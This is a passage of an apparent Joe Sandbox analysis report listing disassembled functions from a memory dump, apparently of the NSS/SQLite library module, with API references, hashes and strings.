Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: 548b842a5f50e15901671fbfca45f65c5a2e34e6a06155222fc5078d18c0fae2
Instruction ID: 6996b32f0bf7d541b62480570f6df0561555fd46886400c2cb8509262de7b1c5
Opcode Fuzzy Hash: 548b842a5f50e15901671fbfca45f65c5a2e34e6a06155222fc5078d18c0fae2
Instruction Fuzzy Hash: 7C515F70A057059FDB00EF68D18466ABBF8BF45358F25C96DD898EBB10EB30E844CB91

Function 6CF49EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CF49EC0
EnterCriticalSection.KERNEL32(?), ref: 6CF49EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6CF49F73
EnterCriticalSection.KERNEL32(?), ref: 6CF49FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6CF49FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6CF49FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6CF4A01D

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: f208878b604ec2c4897b2869684899a548e14f8760907b768132eb5eba150df2
Instruction ID: b5237817e6edce891d4d373abd4f63369cb5edfe3d80cea27b8282b1b89c97f9
Opcode Fuzzy Hash: f208878b604ec2c4897b2869684899a548e14f8760907b768132eb5eba150df2
Instruction Fuzzy Hash: F951AFB2900600CBCB109F25D48468ABBF4FF04319F25866ED8695BB17EB35E989CF91

Function 6CE3DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CE3DCFA

Part of subcall function 6CEF9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF40A27), ref: 6CEF9DC6
Part of subcall function 6CEF9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF40A27), ref: 6CEF9DD1
Part of subcall function 6CEF9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CEF9DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CE3DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CE3DD62
CERT_DestroyCertificate.NSS3(?), ref: 6CE3DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE3DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6CE3DD8F

Part of subcall function 6CE506A0: TlsGetValue.KERNEL32 ref: 6CE506C2
Part of subcall function 6CE506A0: EnterCriticalSection.KERNEL32(?), ref: 6CE506D6
Part of subcall function 6CE506A0: PR_Unlock.NSS3 ref: 6CE506EB

CERT_DestroyCertificate.NSS3(?), ref: 6CE3DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6CE3DDB7

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 688e54a5548d0937c9d95ef97008db05a57fc9a11e73ff53e3ce27e93ad43c2b
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: EA218DBAE011359BDF029EA4DC409DEBBB4AF05218F691124EC1CA7711E731FA15CBE2

Function 6CEC5F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CECAADB,?,?,?,?,?,?,?,?,00000000,?,6CEC80C1), ref: 6CEC5F72

Part of subcall function 6CE2ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CE2ED8F
Part of subcall function 6CE2ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CE2ED9E
Part of subcall function 6CE2ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CE2EDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CECAADB,?,?,?,?,?,?,?,?,00000000,?,6CEC80C1), ref: 6CEC5F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CECAADB,?,?,?,?,?,?,?,?,00000000,?,6CEC80C1), ref: 6CEC5FCC
free.MOZGLUE(?,?,6CECAADB,?,?,?,?,?,?,?,?,00000000,?,6CEC80C1), ref: 6CEC5FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CECAADB,?,?,?,?,?,?,?,?,00000000,?,6CEC80C1), ref: 6CEC5FF4
free.MOZGLUE(?,?,6CECAADB,?,?,?,?,?,?,?,?,00000000,?,6CEC80C1), ref: 6CEC5FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CECAADB,?,?,?,?,?,?,?,?,00000000,?,6CEC80C1), ref: 6CEC6019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CECAADB,?,?,?,?,?,?,?,?,00000000,?,6CEC80C1), ref: 6CEC6036

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: 6db1a349970276585655fdd570434bbc30907962c8e3ebbb668989f8e175953f
Instruction ID: d74ff0d9c19b75c6e52567a54086dd844a04c5bfdbec9741f1e4d0802f381b52
Opcode Fuzzy Hash: 6db1a349970276585655fdd570434bbc30907962c8e3ebbb668989f8e175953f
Instruction Fuzzy Hash: B5213BF1A05B009BEB209F749849BD377B8AB4174DF24092CE46AC7740D73AE018CB92

Function 6CE33C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6CEA460B,?,?), ref: 6CE33CA9
EnterCriticalSection.KERNEL32(?), ref: 6CE33CB9
PL_HashTableLookup.NSS3(?), ref: 6CE33CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6CE33CD6
PR_Unlock.NSS3 ref: 6CE33CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6CE33CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE33D03
PR_Unlock.NSS3 ref: 6CE33D15

Part of subcall function 6CEDDD70: TlsGetValue.KERNEL32 ref: 6CEDDD8C
Part of subcall function 6CEDDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEDDDB4

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: d054340abc54d4300ef2abace5756e400bb2b694f8e8d6315c969b3617d50d33
Instruction ID: ffba92313506bc7188808828a5d464642d8bb2e51b890662471acaab9fb58aca
Opcode Fuzzy Hash: d054340abc54d4300ef2abace5756e400bb2b694f8e8d6315c969b3617d50d33
Instruction Fuzzy Hash: 7611297AE51514A7DF022B25DC05EEA3A38EB0325CB754234ED1C93712F722E959C7E1

Function 6CEB8D20 Relevance: 10.8, APIs: 7, Instructions: 290memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD002,00000000), ref: 6CEB8E19
free.MOZGLUE(?), ref: 6CEB8E2D
PORT_Alloc_Util.NSS3(?), ref: 6CEB8F01
memcpy.VCRUNTIME140(?,?,?), ref: 6CEB8F57
free.MOZGLUE(?), ref: 6CEB8F7D
PR_GetCurrentThread.NSS3 ref: 6CEB8F8A
PR_SetError.NSS3(FFFFD044,00000000), ref: 6CEB90D6

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Errorfree$Alloc_CurrentThreadUtilmemcpy
String ID:
API String ID: 4163001165-0
Opcode ID: 2f15a0dd3ebb05d21fb2fa5887277696e7727409f8f160388bfa1694775f9c52
Instruction ID: c47fd524a451fa779ecc8d65b4b31b659d36d8c9bc4338c4ba27c69960347a59
Opcode Fuzzy Hash: 2f15a0dd3ebb05d21fb2fa5887277696e7727409f8f160388bfa1694775f9c52
Instruction Fuzzy Hash: 16A1B1756042029BE724CF24CE91BBAB3F5EF55308F24492EF949AB752E730E644C792

Function 6CEA8C10 Relevance: 10.8, APIs: 7, Instructions: 279COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEA8C93

Part of subcall function 6CEDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEDC2BF

Part of subcall function 6CE88A60: TlsGetValue.KERNEL32(6CE361C4,?,6CE35F9C,00000000), ref: 6CE88A81
Part of subcall function 6CE88A60: TlsGetValue.KERNEL32(?,?,?,6CE35F9C,00000000), ref: 6CE88A9E
Part of subcall function 6CE88A60: EnterCriticalSection.KERNEL32(?,?,?,?,6CE35F9C,00000000), ref: 6CE88AB7
Part of subcall function 6CE88A60: PR_Unlock.NSS3(?,?,?,?,?,6CE35F9C,00000000), ref: 6CE88AD2

memset.VCRUNTIME140(?,00000000,?), ref: 6CEA8CFB
memset.VCRUNTIME140(?,00000000,?), ref: 6CEA8D10

Part of subcall function 6CE88970: TlsGetValue.KERNEL32(?,00000000,6CE361C4,?,6CE35639,00000000), ref: 6CE88991
Part of subcall function 6CE88970: TlsGetValue.KERNEL32(?,?,?,?,?,6CE35639,00000000), ref: 6CE889AD
Part of subcall function 6CE88970: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CE35639,00000000), ref: 6CE889C6
Part of subcall function 6CE88970: PR_WaitCondVar.NSS3 ref: 6CE889F7
Part of subcall function 6CE88970: PR_Unlock.NSS3(?,?,?,?,?,?,?,6CE35639,00000000), ref: 6CE88A0C

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockmemset$CondErrorWait
String ID:
API String ID: 2412912262-0
Opcode ID: 69cef9230c55ed5a2db3eb4aa52f34d69f265f0c87ad03b437bc9896119f6408
Instruction ID: 2baad2c1aa5eda936ac06318afce91c07e4bc948b14c0286c32deb6a9f63170c
Opcode Fuzzy Hash: 69cef9230c55ed5a2db3eb4aa52f34d69f265f0c87ad03b437bc9896119f6408
Instruction Fuzzy Hash: 1EB184B4D003099FDB24CFA5DC40AAEB7BAFF48308F24412ED91AAB751E7319956CB51

Function 6CE39C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE511C0: PR_NewLock.NSS3 ref: 6CE51216

free.MOZGLUE(?), ref: 6CE39E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE39E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE39E4E
TlsGetValue.KERNEL32 ref: 6CE39EA2

Part of subcall function 6CE49500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6CE49546

EnterCriticalSection.KERNEL32(?), ref: 6CE39EB6
PR_Unlock.NSS3 ref: 6CE39ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CE39F18

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: 4a6cb0933606cd065cafafc560802d92a8b20c432522a4afe6c33b4b1b353581
Instruction ID: 1ebecd07cd47e05ac62d62da4b2d9cc8036502b902e1f0fae3a9b62d64263adb
Opcode Fuzzy Hash: 4a6cb0933606cd065cafafc560802d92a8b20c432522a4afe6c33b4b1b353581
Instruction Fuzzy Hash: 6881CEB5A00611ABEB009F24DC41AABB7F9BF4524CF25552CE85987B41EF32F918C7A1

Function 6CE4DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE4AB10: DeleteCriticalSection.KERNEL32(D958E852,6CE51397,5B5F5EC0,?,?,6CE4B1EE,2404110F,?,?), ref: 6CE4AB3C
Part of subcall function 6CE4AB10: free.MOZGLUE(D958E836,?,6CE4B1EE,2404110F,?,?), ref: 6CE4AB49
Part of subcall function 6CE4AB10: DeleteCriticalSection.KERNEL32(5D5E6D04), ref: 6CE4AB5C
Part of subcall function 6CE4AB10: free.MOZGLUE(5D5E6CF8), ref: 6CE4AB63
Part of subcall function 6CE4AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CE4AB6F
Part of subcall function 6CE4AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CE4AB76

TlsGetValue.KERNEL32 ref: 6CE4DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6CE4DD0E
PK11_IsFriendly.NSS3(?), ref: 6CE4DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6CE4DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE4DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE4DEA6
PR_Unlock.NSS3(?), ref: 6CE4DF08

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: 16c7c1e68cb4d446d56112d8f3214c011326ca7efe80d82a1bb00abfe6ede487
Instruction ID: da5ff8581523d7e97c29690be27692cc1bc4680a03eda9fa22cbc7c3fcd223e6
Opcode Fuzzy Hash: 16c7c1e68cb4d446d56112d8f3214c011326ca7efe80d82a1bb00abfe6ede487
Instruction Fuzzy Hash: 2991D2B9E001059FEB10CF68E881BAAB7B5AF4530CF35C129D9199BB41E731EA15CB91

Function 6CE05FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6CEEBB62,00000004,6CF54CA4,?,?,00000000,?,?,6CDC31DB), ref: 6CE060AB
sqlite3_config.NSS3(00000004,6CF54CA4,6CEEBB62,00000004,6CF54CA4,?,?,00000000,?,?,6CDC31DB), ref: 6CE060EB
sqlite3_config.NSS3(00000012,6CF54CC4,?,?,6CEEBB62,00000004,6CF54CA4,?,?,00000000,?,?,6CDC31DB), ref: 6CE06122

Strings

misuse, xrefs: 6CE0609F
%s at line %d of [%.10s], xrefs: 6CE060A4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE06095

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: 03b36f3a981e4492f95bcc04925b0c3c4e20752a6e3a6538bb3b3238bda519b5
Instruction ID: 5d78f6f9ce635b0598f3f967893b24cb090e93e8f169e0bc8af9ff7282836db0
Opcode Fuzzy Hash: 03b36f3a981e4492f95bcc04925b0c3c4e20752a6e3a6538bb3b3238bda519b5
Instruction Fuzzy Hash: EAB16078F1564ACFDB04CF58C240AB9BBF0FB1F304B158559D909AB322E731AA85CB95

Function 6CEADE70 Relevance: 10.7, APIs: 7, Instructions: 224COMMON

Download Yara Rule

APIs

SECITEM_CompareItem_Util.NSS3(FFFFD064,?), ref: 6CEADFB9
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CEAE029

Part of subcall function 6CE88970: TlsGetValue.KERNEL32(?,00000000,6CE361C4,?,6CE35639,00000000), ref: 6CE88991
Part of subcall function 6CE88970: TlsGetValue.KERNEL32(?,?,?,?,?,6CE35639,00000000), ref: 6CE889AD
Part of subcall function 6CE88970: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CE35639,00000000), ref: 6CE889C6
Part of subcall function 6CE88970: PR_WaitCondVar.NSS3 ref: 6CE889F7
Part of subcall function 6CE88970: PR_Unlock.NSS3(?,?,?,?,?,?,?,6CE35639,00000000), ref: 6CE88A0C

PR_SetError.NSS3(FFFFD06A,00000000), ref: 6CEAE072
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CEAE098
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CEAE0A7
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CEAE0F1
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CEAE10A

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Item_Util$CompareCopyValueZfree$CondCriticalEnterErrorSectionUnlockWait
String ID:
API String ID: 1854523011-0
Opcode ID: 938fcc052cf81f3c48307accafb691bb391c91008c928845da0e5bdd30627eea
Instruction ID: ffce128778f2e9a2269fc9dd18cfff1a39e41e364d5547315326ad8ba4fb42e6
Opcode Fuzzy Hash: 938fcc052cf81f3c48307accafb691bb391c91008c928845da0e5bdd30627eea
Instruction Fuzzy Hash: 44814A75A05B11AFD7108B64CC8179AB7B4BF0031CF244229ED1D6BB91E735E92ACBD2

Function 6CDB4F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDB4FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDB51BB

Strings

misuse, xrefs: 6CDB51AF
%s at line %d of [%.10s], xrefs: 6CDB51B4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDB51A5
unable to delete/modify user-function due to active statements, xrefs: 6CDB51DF

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 6037c1202d5778904237c81d9af91d105ef5121577ce70d55838d82f9d631143
Instruction ID: e1557dab9606f9a56a810fb64c2e1d2f2cc04ee2b04fdbd6b5d6925110c270fe
Opcode Fuzzy Hash: 6037c1202d5778904237c81d9af91d105ef5121577ce70d55838d82f9d631143
Instruction Fuzzy Hash: 8C71AFB5A0420ADBDB00CF19CCC0B9A77B5FF48348F144525FD1AABAA1E731E951CBA1

Function 6CE22D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CE22D69

Strings

winUnmapfile1, xrefs: 6CE22F55
winUnmapfile2, xrefs: 6CE22F7F
winTruncate1, xrefs: 6CE22EBE
winSeekFile, xrefs: 6CE22E9C
winTruncate2, xrefs: 6CE22EF8

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: a47cec87ffb16eec42b3e17ea5b1873ed267dd2b53a271f06459d6f2a2db4c2a
Instruction ID: 2de13e6ab417826910baef5c3ddd225dce6ad4f97e4995166863a4a7beaba7ea
